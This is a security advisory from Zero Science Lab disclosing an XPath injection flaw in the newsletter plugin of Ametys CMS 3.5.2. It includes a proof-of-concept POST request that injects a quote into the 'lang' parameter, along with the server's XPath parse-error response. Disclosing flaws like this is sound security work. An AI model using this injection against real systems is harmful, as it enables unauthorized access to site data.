Ametys CMS version 3.5.2 suffers from an XPath injection vulnerability. Input passed via the 'lang' POST parameter in the newsletter plugin is not properly sanitized before being used to construct an XPath query for XML data.
c5dbcda0f10c655d76ff28210efc04294966ced89d00fa641314117ecc195ed1
Ametys CMS 3.5.2 (lang parameter) XPath Injection Vulnerability
Vendor: Anyware Services
Product web page: http://www.ametys.org
Affected version: 3.5.2 and 3.5.1
Summary: Ametys is a Java-based open source CMS combining
rich content with an easy-to-use and intuitive interface.
Desc: Input passed via the 'lang' POST parameter in the
newsletter plugin is not properly sanitised before being
used to construct a XPath query for XML data. This can be
exploited to manipulate XPath queries by injecting arbitrary
XPath code.
Tested on: Microsoft Windows 7 Ultimate (EN) 32bit
Jetty 6.1.21
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2013-5162
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5162.php
24.11.2013
--
Request:
--------
POST /cms/plugins/newsletter/category/nodes HTTP/1.1
Host: 192.168.8.11:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.8.11:8080/cms/event/index.html
Content-Length: 137
Cookie: ametys.accept.non.supported.navigators=on; JSESSIONID=1na81i031qhdw; __utma=111872281.3880910164568079000.1385252858.1385252858.1385252858.1; __utmb=111872281.1.10.1385252858; __utmc=111872281; __utmz=111872281.1385252858.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
sitename=event&categoriesOnly=&debug=%255Bobject%2520Object%255D&userLocale=en&siteName=event&skin=demo&categoryID=root&lang=en'&node=root
Response:
---------
HTTP/1.1 500 Internal Server Error
Date: Sun, 24 Nov 2013 00:55:08 GMT
Content-Type: text/html; charset=utf-8
Server: Jetty(6.1.21)
Content-Length: 27280
...
...
org.apache.jackrabbit.spi.commons.query.xpath.ParseException:
Encountered "\'//element(*, ametys:page)[@ametys-internal:tags =\'" at line 1, column 68.
Was expecting one of:
"or" ...
"and" ...
"div" ...
"idiv" ...
"mod" ...
"*" ...
"return" ...
"to" ...
"where" ...
"intersect" ...
"union" ...
"except" ...
<Instanceof> ...
<Castable> ...
"/" ...
"//" ...
"=" ...
"is" ...
...
...